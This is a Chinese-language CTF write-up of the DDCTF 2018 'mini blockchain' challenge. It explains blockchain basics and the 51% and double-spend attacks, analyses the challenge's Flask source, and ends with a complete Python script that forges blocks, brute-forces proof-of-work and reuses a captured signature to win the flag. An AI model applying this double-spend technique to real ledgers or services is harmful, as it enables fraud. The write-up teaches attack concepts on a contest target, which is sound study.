最近結(jié)束的ddctf中mini blockchain一題與最近熱門的區(qū)塊鏈緊密掛鉤,緊接著XCTF聯(lián)賽的國(guó)際比賽starctf同樣出現(xiàn)了一道與區(qū)塊鏈相關(guān)的題目,于是我只能緊隨潮流,來(lái)研究并且學(xué)習(xí)一波未知領(lǐng)域的知識(shí)。
首先放出參考鏈接,膜一波大佬們
http://www.lz1y.cn/archives/1372.html
http://hebic.me/2018/04/20/DDCTF2018-mini-blockchain-writeup/
并且感謝研究區(qū)塊鏈課題的同學(xué)kxz的ppt資料參考,當(dāng)然,由于技術(shù)拙劣,難免出現(xiàn)錯(cuò)誤,望各位更正。
區(qū)塊鏈的概念首次在2008年末由中本聰(Satoshi Nakamoto)發(fā)表在比特幣論壇中的論文《Bitcoin: A Peer-to-Peer Electronic Cash System》提出。
論文中區(qū)塊鏈技術(shù)是構(gòu)建比特幣數(shù)據(jù)結(jié)構(gòu)與交易信息加密傳輸?shù)幕A(chǔ)技術(shù),該技術(shù)實(shí)現(xiàn)了比特幣的挖礦與交易。
區(qū)塊鏈?zhǔn)且环N支持比特幣運(yùn)行的底層技術(shù)。
2009年1月3日,中本聰在位于芬蘭赫爾辛基的一個(gè)小型服務(wù)器上挖出了比特幣的第一個(gè)區(qū)塊——?jiǎng)?chuàng)世區(qū)塊(Genesis Block),并獲得了首批“挖礦”獎(jiǎng)勵(lì)——50個(gè)比特幣。
區(qū)塊鏈?zhǔn)且环N去中心化的分布式數(shù)據(jù)庫(kù)
Google上的定義是:
區(qū)塊鏈(Blockchain)是指通過(guò)去中心化和去信任的方式集體維護(hù)一個(gè)可靠數(shù)據(jù)庫(kù)的技術(shù)方案。
該技術(shù)方案讓參與系統(tǒng)中的任意多個(gè)節(jié)點(diǎn),把一段時(shí)間系統(tǒng)內(nèi)全部信息交流的數(shù)據(jù),通過(guò)密碼學(xué)算法計(jì)算記錄到一個(gè)數(shù)據(jù)塊(block),并且生成該數(shù)據(jù)塊的指紋用于鏈接(chain)下個(gè)數(shù)據(jù)塊和校驗(yàn),系統(tǒng)所有參與節(jié)點(diǎn)來(lái)共同認(rèn)定記錄是否為真。
1.去中心化:
即無(wú)中央管理機(jī)構(gòu),沒(méi)有管理員。每個(gè)人都可以向區(qū)塊中寫數(shù)據(jù),這就避免了一些大公司壟斷的可能性。
2.分布式:
每個(gè)人都可以架設(shè)服務(wù)器成為區(qū)塊鏈的一個(gè)節(jié)點(diǎn)
3.數(shù)據(jù)庫(kù):
區(qū)塊鏈?zhǔn)谴鎯?chǔ)數(shù)據(jù)的
1、去中心化
由于使用分布式核算和存儲(chǔ),不存在中心化的硬件或管理機(jī)構(gòu),任意節(jié)點(diǎn)的權(quán)利和義務(wù)都是均等的,系統(tǒng)中的數(shù)據(jù)塊由整個(gè)系統(tǒng)中具有維護(hù)功能的節(jié)點(diǎn)來(lái)共同維護(hù)。
得益于區(qū)塊鏈的去中心化特征,比特幣也擁有去中心化的特征 。
2、開(kāi)放性
系統(tǒng)是開(kāi)放的,除了交易各方的私有信息被加密外,區(qū)塊鏈的數(shù)據(jù)對(duì)所有人公開(kāi),任何人都可以通過(guò)公開(kāi)的接口查詢區(qū)塊鏈數(shù)據(jù)和開(kāi)發(fā)相關(guān)應(yīng)用,因此整個(gè)系統(tǒng)信息高度透明。
3、自治性
區(qū)塊鏈采用基于協(xié)商一致的規(guī)范和協(xié)議(比如一套公開(kāi)透明的算法)使得整個(gè)系統(tǒng)中的所有節(jié)點(diǎn)能夠在去信任的環(huán)境自由安全的交換數(shù)據(jù),使得對(duì)“人”的信任改成了對(duì)機(jī)器的信任,任何人為的干預(yù)不起作用。
4、不可篡改
一旦信息經(jīng)過(guò)驗(yàn)證并添加至區(qū)塊鏈,就會(huì)永久的存儲(chǔ)起來(lái),除非能夠同時(shí)控制住系統(tǒng)中超過(guò)51%的節(jié)點(diǎn),否則單個(gè)節(jié)點(diǎn)上對(duì)數(shù)據(jù)庫(kù)的修改是無(wú)效的,因此區(qū)塊鏈的數(shù)據(jù)穩(wěn)定性和可靠性極高。
5、匿名性
由于節(jié)點(diǎn)之間的交換遵循固定的算法,其數(shù)據(jù)交互是無(wú)需信任的(區(qū)塊鏈中的程序規(guī)則會(huì)自行判斷活動(dòng)是否有效),因此交易對(duì)手無(wú)須通過(guò)公開(kāi)身份的方式讓對(duì)方自己產(chǎn)生信任,對(duì)信用的累積非常有幫助。
比特幣是目前區(qū)塊鏈技術(shù)最廣泛的應(yīng)用,可以通過(guò)比特幣作為實(shí)例了解區(qū)塊鏈的結(jié)構(gòu)。
但比特幣并不是區(qū)塊鏈,區(qū)塊鏈?zhǔn)且环N技術(shù)、平臺(tái)。比特幣只是區(qū)塊鏈的一個(gè)應(yīng)用。
區(qū)塊鏈?zhǔn)怯稍S多區(qū)塊組成的鏈,每個(gè)區(qū)塊由區(qū)塊頭和數(shù)據(jù)組成。
區(qū)塊頭里有32字節(jié)的父區(qū)塊哈希值,父區(qū)塊的哈希值由區(qū)塊頭各個(gè)字段的值連在一起經(jīng)哈希函數(shù)(sha256)運(yùn)算后得到的哈希值,這樣區(qū)塊便鏈接在一起。
如果某一區(qū)塊發(fā)生改變,那么之后的區(qū)塊都必須改變,當(dāng)區(qū)塊足夠多時(shí),計(jì)算量是非常大的。在100個(gè)區(qū)塊以后,區(qū)塊鏈已經(jīng)足夠穩(wěn)定。幾千個(gè)區(qū)塊(一個(gè)月)后的區(qū)塊 鏈將變成確定的歷史,永遠(yuǎn)不會(huì)改變。這也保證的區(qū)塊鏈的安全性。
比特幣沒(méi)有中心機(jī)構(gòu),幾乎所有的完整節(jié)點(diǎn)都有一份公共總帳的備份,這份總帳可以被視為認(rèn)證過(guò)的記錄。區(qū)塊鏈并不是由一個(gè)中心機(jī)構(gòu)創(chuàng)造的,它 是由比特幣網(wǎng)絡(luò)中的所有節(jié)點(diǎn)各自獨(dú)立競(jìng)爭(zhēng)完成的。
結(jié)構(gòu)圖:
區(qū)塊頭:
想要生產(chǎn)下一個(gè)區(qū)塊,必須計(jì)算出當(dāng)前最新區(qū)塊的區(qū)塊頭的哈希值。計(jì)算哈希值的過(guò)程便是挖礦。
但計(jì)算出的哈希值要小于目標(biāo)值,即target。
target=targetmax/difficulty
其中targetmax=0x00000000FFFF0000000000000000000000000000000000000000000000000000
difficulty即區(qū)塊頭中的難度目標(biāo),difficulty動(dòng)態(tài)變化,控制難度,使一個(gè)新區(qū)塊的產(chǎn)生周期為10mins
礦工通過(guò)遍歷Nonce的值,來(lái)尋找合適的哈希值。所以也說(shuō)挖礦摻雜運(yùn)氣成分。
Nonce一共32位,所以最大計(jì)算次數(shù)可以到21.47億。
每個(gè)區(qū)塊中的第一個(gè)交易是特殊的: 它為第一個(gè)采到有效區(qū)塊的人創(chuàng)建新的比特幣。
開(kāi)始時(shí)為2009年1月每個(gè)區(qū)塊獎(jiǎng)勵(lì)50個(gè)比特幣,然后到2012年11月減 半為每個(gè)區(qū)塊獎(jiǎng)勵(lì)25個(gè)比特幣。之后將在2016年的某個(gè)時(shí)刻再次減半為每個(gè)新區(qū)塊獎(jiǎng)勵(lì)12.5個(gè)比特幣。基于這個(gè)公 式,比特幣挖礦獎(jiǎng)勵(lì)以指數(shù)方式遞減,直到2140年。屆時(shí)所有的比特幣(20,999,999,980)全部發(fā)行完畢。換句話說(shuō) 在2140年之后,不會(huì)再有新的比特幣產(chǎn)生。
每筆交易都可能包含一筆交易費(fèi),在2140年之后,所有的礦工收益都將由交易費(fèi)構(gòu)成。
挖礦主要方式是礦池挖礦,獨(dú)立挖礦的風(fēng)險(xiǎn)過(guò)于龐大,幾乎不可能。通過(guò)工作量證明(Nonce)分配收成。
如果兩個(gè)礦工同時(shí)算出哈希值,由于距離遠(yuǎn)近,不同的礦工看到這兩個(gè)區(qū)塊是有先后順序的。通常情況下,礦工們會(huì)把自己先看到的區(qū)塊復(fù)制過(guò)來(lái),然后接著在這個(gè)區(qū)塊開(kāi)始新的挖礦工作。于是就出現(xiàn)了兩個(gè)區(qū)塊鏈:
但由于算力不同,最終會(huì)有一條區(qū)塊鏈比較長(zhǎng),當(dāng)?shù)V工發(fā)現(xiàn)全網(wǎng)有一條更長(zhǎng)的鏈時(shí),他就會(huì)拋棄他當(dāng)前的鏈,把新的更長(zhǎng)的鏈全部復(fù)制回來(lái),在這條鏈的基礎(chǔ)上繼續(xù)挖礦。所有礦工都這樣操作,這條鏈就成為了主鏈,分叉出來(lái)被拋棄掉的鏈就消失了。
區(qū)塊鏈存在多種攻擊形式:
51%攻擊
扣塊攻擊
雙重花費(fèi)攻擊
自私采礦攻擊
日蝕攻擊
因?yàn)楸敬晤}目主要涉及
51%攻擊
雙重花費(fèi)攻擊
所以我僅在本篇文章中分析這2個(gè)攻擊點(diǎn)
(其實(shí)二者為一,相輔相成)
所謂51%攻擊即攻擊者掌握了比特幣全網(wǎng)的51%算力之后,用這些算力來(lái)重新計(jì)算已經(jīng)確認(rèn)過(guò)的區(qū)塊,使塊鏈產(chǎn)生分叉并且獲得利益的行為。
這里就涉及到之前區(qū)塊鏈分叉的問(wèn)題了
還是以之前的圖片為例
我們假設(shè)主鏈為
1(黃)-2(黃)-3(黃)-4(藍(lán))-5(藍(lán))
此時(shí)
4(藍(lán))-5(藍(lán))
為已計(jì)算確認(rèn)過(guò)的區(qū)塊
而攻擊者擁有51%的算力,沒(méi)有任何用戶可以超越他的計(jì)算速度
于是他從區(qū)塊3(黃)開(kāi)始重新計(jì)算
偽造生成區(qū)塊
4(黃)-5(黃)-6(黃)
4(藍(lán))-5(藍(lán))
作廢,使攻擊達(dá)成
這樣的攻擊獲利方式也很簡(jiǎn)單。其實(shí)也就是雙重花費(fèi)攻擊(后稱雙花攻擊)
我們結(jié)合DDCTF這道題目來(lái)了解一下
個(gè)人認(rèn)為分析flask代碼首要還是查看路由
@app.route(url_prefix + '/')
def homepage():
@app.route(url_prefix + '/flag')
def getFlag():
@app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
@app.route(url_prefix + '/reset')
def reset_blockchain():
@app.route(url_prefix + '/source_code')
def show_source_code():
路由大致如上
我們從homepage入手,不難發(fā)現(xiàn)題目的背景
@app.route(url_prefix + '/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/22. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank's addr: ' + bank_address + ', the hacker's addr: ' + hacker_address + ', the shop's addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement + ('<br /><br />rnrn'.join(
[view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
我們?cè)L問(wèn)這個(gè)路由
http://116.85.48.107:5000/b942f830cf97e/
發(fā)現(xiàn)目前存在3個(gè)地址
the bank's addr: b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985
the hacker's addr: 955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131
the shop's addr: b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735
然后關(guān)注到每個(gè)賬戶的資金
Balance of all addresses: {"b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985": 1, "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735": 0, "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131": 999999}
即
hacker:999999
bank:1
shop:0
然后關(guān)注到輸入與輸出
All utxos:
{
"07efd7c6-9331-4bc5-9284-3270c2e6b4c1":
{
"amount": 1, "hash": "79da1a4388dc5c8a108ed8e46a03be5afe9c9354d663197898fb9a1c9706ffb8",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "07efd7c6-9331-4bc5-9284-3270c2e6b4c1"},
"f7e645d3-80dc-4211-a144-16bb65e0ce9d":
{
"amount": 999999,
"hash": "e1177f4ad17602c1e97778eafb0be9f713788d0eb6c0a1f6a094058ac3b8f40d",
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "f7e645d3-80dc-4211-a144-16bb65e0ce9d"
}
}
以及區(qū)塊情況
{
"d4b81acf2228fc10744a9a26c01d38a5ad93fc1050493027d9c34ceb0b2e8ab5":
{
"nonce": "a empty block",
"prev": "60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d",
"hash": "d4b81acf2228fc10744a9a26c01d38a5ad93fc1050493027d9c34ceb0b2e8ab5",
"transactions": [],
"height": 2
},
"10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7":
{
"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
"prev": "0000000000000000000000000000000000000000000000000000000000000000",
"hash": "10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7",
"transactions": [{"input": [],
"signature": [],
"hash": "3babd7fb07e2ad96f824eb2ed39adced4560fadeef92f194f8d51711285f4dab",
"output": [{"amount": 1000000,
"hash": "65019b18f48817c9bf7897bf616c0e72eb88370d60c0a2647fc8fb30b9b4dcfb",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "be4f2b71-f371-446b-be0d-b268352e8adf"}]}],
"height": 0},
"60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d":
{
"nonce": "HAHA, I AM THE BANK NOW!",
"prev": "10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7",
"hash": "60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d",
"transactions": [{"input": ["be4f2b71-f371-446b-be0d-b268352e8adf"],
"signature": ["585f3e49f71d97c5a014fd0947e9049fea260796ef65aa6d5ec46bb5bc1ccfb410741da1c1bff8e970ac3149fea6817c"],
"hash": "75da7f7eb267f1203fcc3e34347b2d109160a9836e140d3f500be8d6904bdfd5",
"output": [{"amount": 999999,
"hash": "e1177f4ad17602c1e97778eafb0be9f713788d0eb6c0a1f6a094058ac3b8f40d",
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "f7e645d3-80dc-4211-a144-16bb65e0ce9d"},
{"amount": 1,
"hash": "79da1a4388dc5c8a108ed8e46a03be5afe9c9354d663197898fb9a1c9706ffb8",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "07efd7c6-9331-4bc5-9284-3270c2e6b4c1"}]}],
"height": 1}
}
我們可以知道
第一個(gè)區(qū)塊:創(chuàng)世區(qū)塊
向銀行地址發(fā)放DDB為1000000
第二個(gè)區(qū)塊:黑客添加區(qū)塊
讓銀行賬戶向黑客賬戶轉(zhuǎn)賬999999 DDB
第三個(gè)區(qū)塊:空區(qū)塊
然后我們查看getflag的方式
@app.route(url_prefix + '/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(
session['your_diamonds']) + shop_address
題目要求我們的鉆石數(shù)大于等于2,即可返回flag
我們?nèi)ゲ榭慈绾潍@得鉆石,定位到
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
發(fā)現(xiàn)即shop的賬戶中擁有1000000即可獲得鉆石一枚
但是我們?cè)撓到y(tǒng)中一共只有100萬(wàn)的DDB,如何去購(gòu)買2顆鉆石呢?
這里就涉及到了雙花攻擊(51%攻擊)
顧名思義,雙花攻擊,花費(fèi)100萬(wàn),購(gòu)買200萬(wàn)的物品,甚至更多的物品。
首先明確一點(diǎn),這時(shí)沒(méi)有人和我們比拼算力
即我們擁有100%的算力,所以我們可以輕松添加區(qū)塊,改變主鏈走向
那么這和雙花攻擊有什么關(guān)系呢?
藍(lán)色為目前題目的3個(gè)區(qū)塊
區(qū)塊操作之前已經(jīng)描述
第一個(gè)區(qū)塊:創(chuàng)世區(qū)塊 向銀行地址發(fā)放DDB為1000000 第二個(gè)區(qū)塊:黑客添加區(qū)塊 讓銀行賬戶向黑客賬戶轉(zhuǎn)賬999999 DDB 第三個(gè)區(qū)塊:空區(qū)塊
而由于我們擁有100%算力,我們可以使用攻擊,重新計(jì)算已經(jīng)確認(rèn)過(guò)的區(qū)塊,改變區(qū)塊走向
故此我們來(lái)到3個(gè)紅色區(qū)塊的地方
黑客區(qū)塊2:向shop轉(zhuǎn)賬100萬(wàn) 黑客區(qū)塊3:空區(qū)塊 黑客區(qū)塊4:空區(qū)塊
此時(shí)由于我們算力最強(qiáng),沒(méi)有人可以計(jì)算的過(guò)我們,我們成功改變主鏈走向
此時(shí)主鏈變?yōu)?br />
而由于現(xiàn)在主鏈變?yōu)榧t色部分,之前黑客的操作全部作廢
所以此時(shí)我們的操作成立,即shop獲得100萬(wàn),我們獲得鉆石一枚
此時(shí)我們可以觸發(fā)雙花攻擊
即我們讓shop把這100萬(wàn)轉(zhuǎn)出去,然后改變主鏈走向,讓這一操作不成立,則100萬(wàn)又會(huì)返回到shop,此時(shí)我們的鉆石又會(huì)繼續(xù)+1
如圖
我們現(xiàn)在的主鏈為紅色部分,我們?cè)诤诳蛥^(qū)塊5,讓shop給shop_wallet_addressz轉(zhuǎn)賬100萬(wàn)
然后我們利用最強(qiáng)算力
重新計(jì)算黑客區(qū)塊5(已確認(rèn)過(guò)的區(qū)塊)
生成空區(qū)塊(綠色部分)
黑客區(qū)塊6 黑客區(qū)塊7
由于我們后續(xù)創(chuàng)建的分叉支路(綠色)更長(zhǎng)
所以成為主鏈
之前的shop轉(zhuǎn)賬操作作廢,100萬(wàn)回到shop手中
此時(shí)我們的鉆石即可再次+1
故此可以完成此題
首先我們關(guān)注到hacker區(qū)塊的寫法,即原始第二個(gè)區(qū)塊
為了模仿黑客創(chuàng)建區(qū)塊的轉(zhuǎn)賬寫法,我們?nèi)ジ桓创a,以便創(chuàng)造我們自己的偽區(qū)塊,給shop轉(zhuǎn)賬
從路由
@app.route(url_prefix + '/')
中我們可以看到
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
我們跟進(jìn)get_balance_of_all()
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
我們跟進(jìn)init()
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
我們繼續(xù)跟進(jìn)create_block()
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
可以得到區(qū)塊生成需要的元素
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
其中
prev為前一個(gè)區(qū)塊的hash
nonce需要我們自行爆破遍歷
transactions(交易)需要我們自己計(jì)算
然后我們跟進(jìn)append_block()
不難發(fā)現(xiàn)關(guān)鍵語(yǔ)句
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height'] + 1
其中要求
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
故此我們可以寫出爆破函數(shù)
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
而關(guān)于transactions的計(jì)算在create_block()中同樣有體現(xiàn),我就不贅述了,可以濃縮為
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]
至此三元素基本解決
值得一提的是,空區(qū)塊無(wú)需計(jì)算transactions,所以基本就是爆破遍歷Nonce了
最后可以寫出一鍵化運(yùn)行腳本
安裝好庫(kù)依賴,一鍵化腳本,直接運(yùn)行即可獲得flag
# # -*- encoding: utf-8 -*-
import rsa, uuid, json, copy,requests,re,hashlib
# 獲取初始session
url = "http://116.85.48.107:5000/b942f830cf97e/"
r = requests.get(url=url)
session = r.headers['Set-Cookie'].split(";")[0][8:]
Cookie = {
"session":session
}
r = requests.get(url=url,cookies=Cookie)
# 獲取需要的信息
genesis_hash_re = r'hash of genesis block: (.*?)<br /><br />'
genesis_hash = re.findall(genesis_hash_re, r.content)[0]
shop_address_re = r", the shop's addr: (.*?)<br /><br />"
shop_address = re.findall(shop_address_re, r.content)[0]
input_re = r'''[{"input": ["(.*?)"],'''
input = re.findall(input_re, r.content)[0]
signature_re = r'''"], "signature": ["(.*?)"]'''
signature = re.findall(signature_re, r.content)[0]
txout_id = str(uuid.uuid4())
#工作量證明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
def myprint(b):
return json.dumps(b)
DIFFICULTY = int('00000' + 'f' * 59, 16)
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x) + hash(y))
EMPTY_HASH = '0' * 64
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, DIFFICULTY, msg)
return b
#從創(chuàng)世塊開(kāi)始分叉,給商店轉(zhuǎn)1000000
block1 = {}
block1["prev"] = genesis_hash
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, DIFFICULTY)
url_begin = "http://116.85.48.107:5000/b942f830cf97e/create_transaction"
def header_change(session):
header = {
"Host":"116.85.48.107:5000",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"session="+session,
"Connection":"close",
"Content-Type":"application/json"
}
return header
s1 = requests.post(url=url_begin,data=myprint(block1),headers=header_change(session))
session1 = s1.headers['Set-Cookie'].split(";")[0][8:]
print s1.content
#構(gòu)造空塊增加分叉鏈長(zhǎng)度,使分叉鏈最長(zhǎng),因?yàn)閙ax的結(jié)果不唯一,少則一次多則兩次
block2 = empty_block("myempty1", block1["hash"])
s2 = requests.post(url=url_begin,data=myprint(block2),headers=header_change(session1))
session2 = s2.headers['Set-Cookie'].split(";")[0][8:]
print s2.content
block3 = empty_block("myempty2", block2["hash"])
s3 = requests.post(url=url_begin,data=myprint(block3),headers=header_change(session2))
session3 = s3.headers['Set-Cookie'].split(";")[0][8:]
print s3.content
#余額更新成功,系統(tǒng)自動(dòng)添加塊,轉(zhuǎn)走商店錢,鉆石+1
#從自己的塊,即系統(tǒng)轉(zhuǎn)走錢之前的那個(gè)塊再次分叉,添加空塊
block4 = empty_block("myempty3", block3["hash"])
s4 = requests.post(url=url_begin,data=myprint(block4),headers=header_change(session3))
session4 = s4.headers['Set-Cookie'].split(";")[0][8:]
print s4.content
block5 = empty_block("myempty4", block4["hash"])
s5 = requests.post(url=url_begin,data=myprint(block5),headers=header_change(session4))
session5 = s5.headers['Set-Cookie'].split(";")[0][8:]
print s5.content
flag_url = "http://116.85.48.107:5000/b942f830cf97e/flag"
flag = requests.get(url=flag_url,headers=header_change(session5))
print flag.content
#新的分叉鏈最長(zhǎng),余額更新成功,鉆石+1
運(yùn)行結(jié)果
transaction finished.
transaction finished. You receive a diamond.
transaction finished. You receive a diamond.
transaction finished. You receive a diamond.
transaction finished.
Here is your flag: DDCTF{B1OcKch@iN_15_FuN_d03f8306a6e}
最后得到flag
DDCTF{B1OcKch@iN_15_FuN_d03f8306a6e}
區(qū)塊鏈博大精深,初涉皮毛,希望以后可以深入學(xué)習(xí),順應(yīng)時(shí)代潮流~